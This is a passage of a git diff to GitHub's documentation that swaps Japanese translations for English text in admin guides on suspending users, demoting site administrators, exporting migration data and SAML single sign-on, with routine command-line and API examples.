[ghe-user-promote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-promote) with the username to promote. ```shell $ ghe-user-promote username ``` -## コマンドラインからサイト管理者を降格させる +## Demoting a site administrator from the command line -1. アプライアンスに [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) で接続してください。 -2. [ghe-user-demote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-demote) に降格させたいユーザ名を渡して実行してください。 +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run [ghe-user-demote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-demote) with the username to demote. ```shell $ ghe-user-demote username ``` diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md index 553105060d..08148b0c9f 100644 --- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md +++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md @@ -1,5 +1,5 @@ --- -title: ユーザーのサスペンドとサスペンドの解除 +title: Suspending and unsuspending users redirect_from: - /enterprise/admin/articles/suspending-a-user/ - /enterprise/admin/articles/unsuspending-a-user/ @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/articles/suspending-and-unsuspending-users/ - /enterprise/admin/user-management/suspending-and-unsuspending-users - /admin/user-management/suspending-and-unsuspending-users -intro: 'ユーザが企業を離れたり異動したりした場合には、{% data variables.product.product_location %} に対するそのユーザのアクセス権を削除したり変更したりしなければなりません。' +intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.product.product_location %}.' versions: ghes: '*' type: how_to @@ -19,10 +19,9 @@ topics: - User account shortTitle: Manage user suspension --- +If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code. -従業員が企業を退職した場合、その{% data variables.product.prodname_ghe_server %}アカウントをサスペンドすれば、{% data variables.product.prodname_enterprise %}ライセンス中のユーザライセンスを空けながら、Issue、コメント、リポジトリ、Gist、そしてそのユーザが作成した他のデータを保持しておくことができます。 サスペンドされたユーザはインスタンスにサインインすることも、コードをプッシュやプルすることもできません。 - -ユーザをサスペンドした場合、その変更はすぐに有効になり、ユーザには通知されません。 ユーザがリポジトリからのプルやプッシュをしようとすると、以下のエラーが返されます: +When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error: ```shell $ git clone git@[hostname]:john-doe/test-repo.git @@ -31,64 +30,74 @@ ERROR: Your account is suspended. Please check with your installation administra fatal: The remote end hung up unexpectedly ``` -サイト管理者をサスペンドする前には、そのユーザを通常のユーザに降格させなければなりません。 詳細は「[サイト管理者の昇格あるいは降格](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)」を参照してください。 +Before suspending site administrators, you must demote them to regular users. For more information, see "[Promoting or demoting a site administrator](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)." {% tip %} -**メモ:** 仮に {% data variables.product.product_location %} で [LDAP Sync が有効化されている](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)なら、LDAP ディレクトリサーバから削除されたユーザは自動的にサスペンドされます。 インスタンスで LDAP Sync が有効化されている場合、通常のユーザのサスペンド方法は無効化されています。 +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) for {% data variables.product.product_location %}, users are automatically suspended when they're removed from the LDAP directory server. When LDAP Sync is enabled for your instance, normal user suspension methods are disabled. {% endtip %} -## ユーザ管理ダッシュボードからユーザをサスペンドする +## Suspending a user from the user admin dashboard {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -5. Danger Zone（危険区域）ボックス内の"Account suspension（アカウントのサスペンド）"の下の**Suspend（サスペンド）**をクリックしてください。 ![サスペンドボタン](/assets/images/enterprise/site-admin-settings/suspend.png) -6. ユーザをサスペンドする理由を入力してください。 ![サスペンドの理由](/assets/images/enterprise/site-admin-settings/suspend-reason.png) +5. Under "Account suspension," in the red Danger Zone box, click **Suspend**. +![Suspend button](/assets/images/enterprise/site-admin-settings/suspend.png) +6. Provide a reason to suspend the user. +![Suspend reason](/assets/images/enterprise/site-admin-settings/suspend-reason.png) -## ユーザ管理ダッシュボードからユーザのサスペンドを解除する +## Unsuspending a user from the user admin dashboard -ユーザのサスペンドの場合と同じく、ユーザのサスペンド解除もすぐに有効になります。 ユーザには通知されません。 +As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified. {% data reusables.enterprise_site_admin_settings.access-settings %} -3. 左サイドバーで [** Suspended users**] をクリックします。 ![[Suspended users] タブ](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) -2. サスペンドを解除したいユーザアカウントの名前をクリックします。 ![サスペンドユーザ](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) +3. In the left sidebar, click **Suspended users**. +![Suspended users tab](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) +2. Click the name of the user account that you would like to unsuspend. +![Suspended user](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -4. 赤いDanger Zone（危険区域）ボックス中の"Account suspension（アカウントのサスペンド）"の下で、**Unsuspend（サスペンド解除）**をクリックしてください。 ![[Unsuspend] ボタン](/assets/images/enterprise/site-admin-settings/unsuspend.png) -5. ユーザのサスペンドを解除する理由を入力します。 ![サスペンド解除の理由](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) +4. Under "Account suspension," in the red Danger Zone box, click **Unsuspend**. +![Unsuspend button](/assets/images/enterprise/site-admin-settings/unsuspend.png) +5. Provide a reason to unsuspend the user. +![Unsuspend reason](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) -## コマンドラインからユーザをサスペンドする +## Suspending a user from the command line {% data reusables.enterprise_installation.ssh-into-instance %} -2. [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend) にサスペンドするユーザの名前を添えて実行します。 +2. Run [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend) with the username to suspend. ```shell $ ghe-user-suspend username ``` -## サスペンドされたユーザのためのカスタムメッセージを作成する +## Creating a custom message for suspended users -サスペンドされたユーザがサインインしようとしたときに表示されるカスタムメッセージを作成できます。 +You can create a custom message that suspended users will see when attempting to sign in. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} -5. **Add message（メッセージの追加）**をクリックしてください。 ![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) -6. **Suspended user message（サスペンドされたユーザへのメッセージ）**ボックスにメッセージを入力してください。 Markdownをタイプするか、Markdownツールバーを使ってメッセージのスタイルを指定できます。 ![サスペンドされたユーザへのメッセージ](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) -7. **Suspended user message（サスペンドされたユーザへのメッセージ）**フィールドの下にある**Preview（プレビュー）**ボタンをクリックして、表示されるメッセージを確認してください。 ![プレビューボタン](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) -8. 表示されたメッセージを確認します。 ![サスペンドされたユーザへのメッセージの表示](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) +5. Click **Add message**. +![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) +6. Type your message into the **Suspended user message** box. You can type Markdown, or use the Markdown toolbar to style your message. +![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) +7. Click the **Preview** button under the **Suspended user message** field to see the rendered message. +![Preview button](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) +8. Review the rendered message. +![Suspended user message rendered](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %} -## コマンドラインからユーザのサスペンドを解除する +## Unsuspending a user from the command line {% data reusables.enterprise_installation.ssh-into-instance %} -2. [ghe-user-unsuspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-unsuspend)にサスペンド解除するユーザの名前を添えて実行します。 +2. Run [ghe-user-unsuspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend. ```shell $ ghe-user-unsuspend username ``` -## 参考リンク -- 「[ユーザーをサスペンドする](/rest/reference/enterprise-admin#suspend-a-user)」 +## Further reading +- "[Suspend a user](/rest/reference/enterprise-admin#suspend-a-user)" diff --git a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md index 87d98d091f..7154212cf8 100644 --- a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md +++ b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md @@ -1,6 +1,6 @@ --- -title: GitHub.comからの移行データのエクスポート -intro: 'API を使用して移行するリポジトリを選択し、{% data variables.product.prodname_ghe_server %} インスタンスにインポートできる移行アーカイブを生成することで、{% data variables.product.prodname_dotcom_the_website %} 上の Organization から移行データをエクスポートできます。' +title: Exporting migration data from GitHub.com +intro: 'You can export migration data from an organization on {% data variables.product.prodname_dotcom_the_website %} by using the API to select repositories to migrate, then generating a migration archive that you can import into a {% data variables.product.prodname_ghe_server %} instance.' redirect_from: - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-com - /enterprise/admin/migrations/exporting-migration-data-from-githubcom @@ -19,61 +19,60 @@ topics: - Migration shortTitle: Export data from GitHub.com --- +## Preparing the source organization on {% data variables.product.prodname_dotcom %} -## {% data variables.product.prodname_dotcom %} でソース Organization を準備する +1. Ensure that you have [owner permissions](/articles/permission-levels-for-an-organization/) on the source organization's repositories. -1. ソースOrganizationのリポジトリに[オーナー権限](/articles/permission-levels-for-an-organization/)を持っていることを確認してください。 - -2. {% data variables.product.prodname_dotcom_the_website %}上の {% data reusables.enterprise_migrations.token-generation %}。 +2. {% data reusables.enterprise_migrations.token-generation %} on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise_migrations.make-a-list %} -## Organization のリポジトリのエクスポート +## Exporting the organization's repositories {% data reusables.enterprise_migrations.fork-persistence %} -{% data variables.product.prodname_dotcom_the_website %} からリポジトリデータをエクスポートするには、移行 API を使います。 +To export repository data from {% data variables.product.prodname_dotcom_the_website %}, use the Migrations API. -移行APIは現在プレビュー期間です。すなわち、エンドポイントとパラメータは将来変更されることがあります。 移行APIにアクセスするには、カスタムの[メディアタイプ](/rest/overview/media-types)として`application/vnd.github.wyandotte-preview+json`を`Accept`ヘッダで渡さなければなりません。 以下の例にはカスタムのメディアタイプが含まれています。 +The Migrations API is currently in a preview period, which means that the endpoints and parameters may change in the future. To access the Migrations API, you must provide a custom [media type](/rest/overview/media-types) in the `Accept` header: `application/vnd.github.wyandotte-preview+json`. The examples below include the custom media type. -## 移行アーカイブの生成 +## Generating a migration archive {% data reusables.enterprise_migrations.locking-repositories %} -1. 移行を行うOrganizationのメンバーに通知します。 エクスポートには、対象のリポジトリ数に応じて数分がかかることがあります。 インポートを含む完全な移行には何時間もかかる可能性があるため、完全な処理にかかる時間を判断するためにまず試行することをおすすめします。 詳細は「[移行について](/enterprise/admin/migrations/about-migrations#types-of-migrations)」を参照してください。 +1. Notify members of your organization that you'll be performing a migration. The export can take several minutes, depending on the number of repositories being exported. The full migration including import may take several hours so we recommend doing a trial run in order to determine how long the full process will take. For more information, see "[About Migrations](/enterprise/admin/migrations/about-migrations#types-of-migrations)." -2. 移行エンドポイントに `POST` することで移行を開始します。 以下が必要です: - * 認証のためのアクセストークン。 - * 移行する[リポジトリのリスト](/rest/reference/repos#list-organization-repositories)。 +2. Start a migration by sending a `POST` request to the migration endpoint. You'll need: + * Your access token for authentication. + * A [list of the repositories](/rest/reference/repos#list-organization-repositories) you want to migrate: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" -X POST \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ -d'{"lock_repositories":true,"repositories":["orgname/reponame", "orgname/reponame"]}' \ https://api.github.com/orgs/orgname/migrations ``` - * 移行する前にリポジトリをロックするには、`lock_repositories` が `true` になっていることを確認してください。 これについては強くおすすめします。 - * `exclude_attachments: true` をエンドポイントに渡すと、添付ファイルを除外できます。 {% data reusables.enterprise_migrations.exclude-file-attachments %} 最終的なアーカイブのサイズは 20 GB 未満でなければなりません。 + * If you want to lock the repositories before migrating them, make sure `lock_repositories` is set to `true`. This is highly recommended. + * You can exclude file attachments by passing `exclude_attachments: true` to the endpoint. {% data reusables.enterprise_migrations.exclude-file-attachments %} The final archive size must be less than 20 GB. - このリクエストは移行を表す一意の `id` を返します。 これは次の移行 API の呼び出しに必要となります。 + This request returns a unique `id` which represents your migration. You'll need it for subsequent calls to the Migrations API. -3. `GET` リクエストを移行ステータスエンドポイントに送って移行のステータスをフェッチします。 以下が必要です: - * 認証のためのアクセストークン。 - * 移行の一意の `id`。 +3. Send a `GET` request to the migration status endpoint to fetch the status of a migration. You'll need: + * Your access token for authentication. + * The unique `id` of the migration: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ https://api.github.com/orgs/orgname/migrations/id ``` - 移行のステータスは以下のいずれかになります: - * `pending`。移行がまだ始まっていないことを示します。 - * `exporting`。移行が進行中であることを示します。 - * `exported`。移行が正常に終了したことを示します。 - * `failed`。移行に失敗したことを示します。 + A migration can be in one of the following states: + * `pending`, which means the migration hasn't started yet. + * `exporting`, which means the migration is in progress. + * `exported`, which means the migration finished successfully. + * `failed`, which means the migration failed. -4. 移行がエクスポートされたら、`GET` リクエストを移行ダウンロードエンドポイントに送って移行アーカイブをダウンロードします。 以下が必要です: - * 認証のためのアクセストークン。 - * 移行の一意の `id`。 +4. After your migration has exported, download the migration archive by sending a `GET` request to the migration download endpoint. You'll need: + * Your access token for authentication. + * The unique `id` of the migration: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ @@ -81,9 +80,9 @@ shortTitle: Export data from GitHub.com https://api.github.com/orgs/orgname/migrations/id/archive ``` -5. 移行アーカイブは 7 日間経過すると自動的に削除されます。 もっと早く削除したい場合は、`DELETE` リクエストを移行アーカイブ削除エンドポイントに送ることもできます。 以下が必要です: - * 認証のためのアクセストークン。 - * 移行の一意の `id`。 +5. The migration archive is automatically deleted after seven days. If you would prefer to delete it sooner, you can send a `DELETE` request to the migration archive delete endpoint. You'll need: + * Your access token for authentication. + * The unique `id` of the migration: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" -X DELETE \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ diff --git a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md index 670b54fbcc..16e63c47a3 100644 --- a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md +++ b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enterprise から移行データをエクスポートする -intro: 'プラットフォームの変更、およびトライアルインスタンスから本番インスタンスに移行するには、インスタンスを準備して、リポジトリをロックし、移行アーカイブを生成することで、{% data variables.product.prodname_ghe_server %} インスタンスから移行データをエクスポートできます。' +title: Exporting migration data from your enterprise +intro: 'To change platforms or move from a trial instance to a production instance, you can export migration data from a {% data variables.product.prodname_ghe_server %} instance by preparing the instance, locking the repositories, and generating a migration archive.' redirect_from: - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise/ - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server @@ -19,40 +19,39 @@ topics: - Migration shortTitle: Export from your enterprise --- +## Preparing the {% data variables.product.prodname_ghe_server %} source instance -## {% data variables.product.prodname_ghe_server %} ソースインスタンスを準備する +1. Verify that you are a site administrator on the {% data variables.product.prodname_ghe_server %} source. The best way to do this is to verify that you can [SSH into the instance](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/). -1. {% data variables.product.prodname_ghe_server %} ソースのサイト管理者であることを確認します。 そのための最善の方法は、[インスタンスへのSSH](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)が可能であることを確認することです。 - -2. {% data variables.product.prodname_ghe_server %} ソースインスタンス上での {% data reusables.enterprise_migrations.token-generation %}。 +2. {% data reusables.enterprise_migrations.token-generation %} on the {% data variables.product.prodname_ghe_server %} source instance. {% data reusables.enterprise_migrations.make-a-list %} -## {% data variables.product.prodname_ghe_server %} ソースリポジトリをエクスポートする +## Exporting the {% data variables.product.prodname_ghe_server %} source repositories {% data reusables.enterprise_migrations.locking-repositories %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. エクスポートするリポジトリを準備するには、`ghe-migrator add` コマンドをリポジトリの URL と一緒に使用します: - * リポジトリをロックする場合は、コマンドの末尾に `--lock` を付けます。 トライアル実行を行う場合は、`--lock` は必要ありません。 +2. To prepare a repository for export, use the `ghe-migrator add` command with the repository's URL: + * If you're locking the repository, append the command with `--lock`. If you're performing a trial run, `--lock` is not needed. ```shell $ ghe-migrator add https://hostname/username/reponame --lock ``` - * コマンドの後ろに `--exclude_attachments` を付けると添付ファイルを除外できます。 {% data reusables.enterprise_migrations.exclude-file-attachments %} - * エクスポートする複数のリポジトリを同時に準備するには、各リポジトリ URL を 1 行ずつ記載したテキストファイルを作成し、`ghe-migrator add` コマンドに `-i` フラグとテキストファイルのパスを付けて実行します。 + * You can exclude file attachments by appending `--exclude_attachments` to the command. {% data reusables.enterprise_migrations.exclude-file-attachments %} + * To prepare multiple repositories at once for export, create a text file listing each repository URL on a separate line, and run the `ghe-migrator add` command with the `-i` flag and the path to your text file. ```shell $ ghe-migrator add -i PATH/TO/YOUR/REPOSITORY_URLS.txt ``` -3. 入力を求められたら、{% data variables.product.prodname_ghe_server %} ユーザ名を入力します: +3. When prompted, enter your {% data variables.product.prodname_ghe_server %} username: ```shell Enter username authorized for migration: admin ``` -4. 個人用アクセストークンを求められたら、「[{% data variables.product.prodname_ghe_server %}ソースインスタンスの準備](#preparing-the-github-enterprise-server-source-instance)」で作成したアクセストークンを入力します。 +4. When prompted for a personal access token, enter the access token you created in "[Preparing the {% data variables.product.prodname_ghe_server %} source instance](#preparing-the-github-enterprise-server-source-instance)": ```shell Enter personal access token: ************** ``` -5. `ghe-migrator add`が終了すると、このエクスポートと追加されたリソースのリストを識別するために生成されたユニークな"移行GUID"が出力されます。 生成されたGUIDは、後の`ghe-migrator add`及び`ghe-migrator export`のステップで同じエクスポートに対して処理を続けるよう`ghe-migrator`に伝えるために使います。 +5. When `ghe-migrator add` has finished it will print the unique "Migration GUID" that it generated to identify this export as well as a list of the resources that were added to the export. You will use the Migration GUID that it generated in subsequent `ghe-migrator add` and `ghe-migrator export` steps to tell `ghe-migrator` to continue operating on the same export. ```shell > 101 models added to export > Migration GUID: example-migration-guid @@ -74,32 +73,32 @@ shortTitle: Export from your enterprise > attachments | 4 > projects | 2 ``` - 既存の移行GUIDに対して新しいリポジトリを追加するたびに、既存のエクスポートが更新されます。 Migration GUIDなしで`ghe-migrator add`を再実行すると、新しいエクスポートが始まり、新しいMigration GUIDが生成されます。 **インポートから移行の準備を始める場合には、エクスポート中に生成されるMigration GUIDを再利用しないでください**。 + Each time you add a new repository with an existing Migration GUID it will update the existing export. If you run `ghe-migrator add` again without a Migration GUID it will start a new export and generate a new Migration GUID. **Do not re-use the Migration GUID generated during an export when you start preparing your migration for import**. -3. ソースリポジトリをロックした場合、`ghe-migrator target_url`コマンドを使ってリポジトリの新しい場所へリンクするカスタムのロックメッセージをリポジトリのページに設定できます。 ソースリポジトリのURL、ターゲットリポジトリのURL、そしてステップ5の移行GUIDを渡してください。 +3. If you locked the source repository, you can use the `ghe-migrator target_url` command to set a custom lock message on the repository page that links to the repository's new location. Pass the source repository URL, the target repository URL, and the Migration GUID from Step 5: ```shell $ ghe-migrator target_url https://hostname/username/reponame https://target_hostname/target_username/target_reponame -g MIGRATION_GUID ``` -6. 同じエクスポートにさらにリポジトリを追加するには、`ghe-migrator add` コマンドに `-g` フラグを付けて実行します。 これで新しいリポジトリの URL とステップ 5 の移行 GUID を渡します。 +6. To add more repositories to the same export, use the `ghe-migrator add` command with the `-g` flag. You'll pass in the new repository URL and the Migration GUID from Step 5: ```shell $ ghe-migrator add https://hostname/username/other_reponame -g MIGRATION_GUID --lock ``` -7. リポジトリを追加し終えたなら、`-g`フラグとステップ5の移行GUIDと共に`ghe-migrator export`を使い、移行アーカイブを生成してください。 +7. When you've finished adding repositories, generate the migration archive using the `ghe-migrator export` command with the `-g` flag and the Migration GUID from Step 5: ```shell $ ghe-migrator export -g MIGRATION_GUID > Archive saved to: /data/github/current/tmp/MIGRATION_GUID.tar.gz ``` * {% data reusables.enterprise_migrations.specify-staging-path %} -8. {% data variables.product.product_location %} への接続をクローズします。 +8. Close the connection to {% data variables.product.product_location %}: ```shell $ exit > logout > Connection to hostname closed. ``` -9. [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp)コマンドを使って移行アーカイブを使用中のコンピュータにコピーしてください。 アーカイブファイルの名前には移行GUIDが含まれます。 +9. Copy the migration archive to your computer using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command. The archive file will be named with the Migration GUID: ```shell $ scp -P 122 admin@hostname:/data/github/current/tmp/MIGRATION_GUID.tar.gz ~/Desktop ``` diff --git a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md index ae62a87e8a..2cd4588167 100644 --- a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md +++ b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md @@ -1,5 +1,5 @@ --- -title: SAMLのシングルサインオンでの認証について +title: About authentication with SAML single sign-on intro: 'You can access {% ifversion ghae %}{% data variables.product.product_location %}{% elsif fpt %}an organization that uses SAML single sign-on (SSO){% endif %} by authenticating {% ifversion ghae %}with SAML single sign-on (SSO) {% endif %}through an identity provider (IdP).{% ifversion fpt or ghec %} After you authenticate with the IdP successfully from {% data variables.product.product_name %}, you must authorize any personal access token, SSH key, or {% data variables.product.prodname_oauth_app %} you would like to access the organization''s resources.{% endif %}' product: '{% data reusables.gated-features.saml-sso %}' redirect_from: @@ -12,51 +12,50 @@ versions: ghec: '*' topics: - SSO -shortTitle: SAMLシングルサインオン +shortTitle: SAML single sign-on --- - -## SAML SSO での認証について +## About authentication with SAML SSO {% ifversion ghae %} -SAML SSO を使用すると、Enterprise のオーナーは、SAML IdP から {% data variables.product.product_name %} へのアクセスを一元的に制御して保護できます。 ブラウザで {% data variables.product.product_location %} にアクセスすると、{% data variables.product.product_name %} が認証のために IdP にリダイレクトします。 IdP のアカウントで正常に認証されると、IdP によって {% data variables.product.product_location %} にリダイレクトされます。 {% data variables.product.product_name %} は、IdP からのレスポンスを検証してから、アクセスを許可します。 +SAML SSO allows an enterprise owner to centrally control and secure access to {% data variables.product.product_name %} from a SAML IdP. When you visit {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect you to your IdP to authenticate. After you successfully authenticate with an account on the IdP, the IdP redirects you back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access. {% data reusables.saml.you-must-periodically-authenticate %} -{% data variables.product.product_name %} にアクセスできない場合は、担当の Enterprise のオーナーまたは管理者に {% data variables.product.product_name %} についてお問い合わせください。 {% data variables.product.product_name %} のページの下部にある [**Support**] をクリックすると、Enterprise の連絡先情報を確認することができます。 {% data variables.product.company_short %} および {% data variables.contact.github_support %} は IdP にアクセスできず、認証の問題をトラブルシューティングできません。 +If you can't access {% data variables.product.product_name %}, contact your local enterprise owner or administrator for {% data variables.product.product_name %}. You may be able to locate contact information for your enterprise by clicking **Support** at the bottom of any page on {% data variables.product.product_name %}. {% data variables.product.company_short %} and {% data variables.contact.github_support %} do not have access to your IdP, and cannot troubleshoot authentication problems. {% endif %} {% ifversion fpt or ghec %} -{% data reusables.saml.dotcom-saml-explanation %}Organization のオーナーは、{% data variables.product.prodname_dotcom %}でユーザアカウントを SAML SSO を使用する Organization に招待できます。これにより、Organization に貢献することができ、{% data variables.product.prodname_dotcom %}の既存の ID とコントリビューションを保持できます。 +{% data reusables.saml.dotcom-saml-explanation %} Organization owners can invite your user account on {% data variables.product.prodname_dotcom %} to join their organization that uses SAML SSO, which allows you to contribute to the organization and retain your existing identity and contributions on {% data variables.product.prodname_dotcom %}. If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will use a new account that is provisioned for you. {% data reusables.enterprise-accounts.emu-more-info-account %} -SAML SSO を使用する Organization のリソースにアクセスすると、{% data variables.product.prodname_dotcom %}は認証のために Organization の SAML IdP にリダイレクトします。 IdP でアカウントが正常に認証されると、IdP は{% data variables.product.prodname_dotcom %}に戻り、Organization のリソースにアクセスできます。 +When you access resources within an organization that uses SAML SSO, {% data variables.product.prodname_dotcom %} will redirect you to the organization's SAML IdP to authenticate. After you successfully authenticate with your account on the IdP, the IdP redirects you back to {% data variables.product.prodname_dotcom %}, where you can access the organization's resources. {% data reusables.saml.outside-collaborators-exemption %} -最近ブラウザで Organization の SAML IdP が認証された場合、SAML SSO を使う {% data variables.product.prodname_dotcom %} の Organization へのアクセスは自動的に認可されます。 最近ブラウザで Organization の SAML IdP が認証されていない場合は、Organization にアクセスする前に SAML IdP で認証を受ける必要があります。 +If you have recently authenticated with your organization's SAML IdP in your browser, you are automatically authorized when you access a {% data variables.product.prodname_dotcom %} organization that uses SAML SSO. If you haven't recently authenticated with your organization's SAML IdP in your browser, you must authenticate at the SAML IdP before you can access the organization. {% data reusables.saml.you-must-periodically-authenticate %} -SAML SSL を要求する Organization 内の保護されたコンテンツにアクセスするために API またはコマンドライン上の Git を利用するには、認可された個人のアクセストークンを HTTPS 経由で使うか、認可された SSH キーを使う必要があります。 +To use the API or Git on the command line to access protected content in an organization that uses SAML SSO, you will need to use an authorized personal access token over HTTPS or an authorized SSH key. -個人のアクセストークンあるいは SSH キーを持っていない場合、コマンドライン用の個人のアクセストークンを作成するか、新しい SSH キーを生成できます。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」または「[新しい SSH キーを生成して ssh-agent へ追加する](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)」を参照してください。 +If you don't have a personal access token or an SSH key, you can create a personal access token for the command line or generate a new SSH key. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" or "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." -新しい、または既存の個人のアクセストークンか SSH キーを、SAML SSO を使用または要求する Organization で利用するには、SAML SSO Organization で使うためにそのトークンや SSH キーを認可する必要があります。 詳しい情報については、[SAMLシングルサインオンで利用するために個人アクセストークンを認可する](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)」または「[SAML シングルサインオンで使用するために SSH キーを認可する](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)」を参照してください。 +To use a new or existing personal access token or SSH key with an organization that uses or enforces SAML SSO, you will need to authorize the token or authorize the SSH key for use with a SAML SSO organization. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." -## {% data variables.product.prodname_oauth_apps %} と SAML SSO について +## About {% data variables.product.prodname_oauth_apps %} and SAML SSO -SAML SSO を使用または要求する Organization にアクセスする {% data variables.product.prodname_oauth_app %} を認証するたびにアクティブなSAML セッションが必要です。 +You must have an active SAML session each time you authorize an {% data variables.product.prodname_oauth_app %} to access an organization that uses or enforces SAML SSO. -Enterprise または Organization のオーナーが Organization の SAML SSO を有効化または要求したら、Organization にアクセスするには以前に認可した {% data variables.product.prodname_oauth_app %} を再度認可する必要があります。 {% data variables.product.prodname_oauth_app %} を認可または再認可した {% data variables.product.prodname_oauth_apps %} を確認するには、[{% data variables.product.prodname_oauth_apps %} ページ](https://github.com/settings/applications)にアクセスしてください。 +After an enterprise or organization owner enables or enforces SAML SSO for an organization, you must reauthorize any {% data variables.product.prodname_oauth_app %} that you previously authorized to access the organization. To see the {% data variables.product.prodname_oauth_apps %} you've authorized or reauthorize an {% data 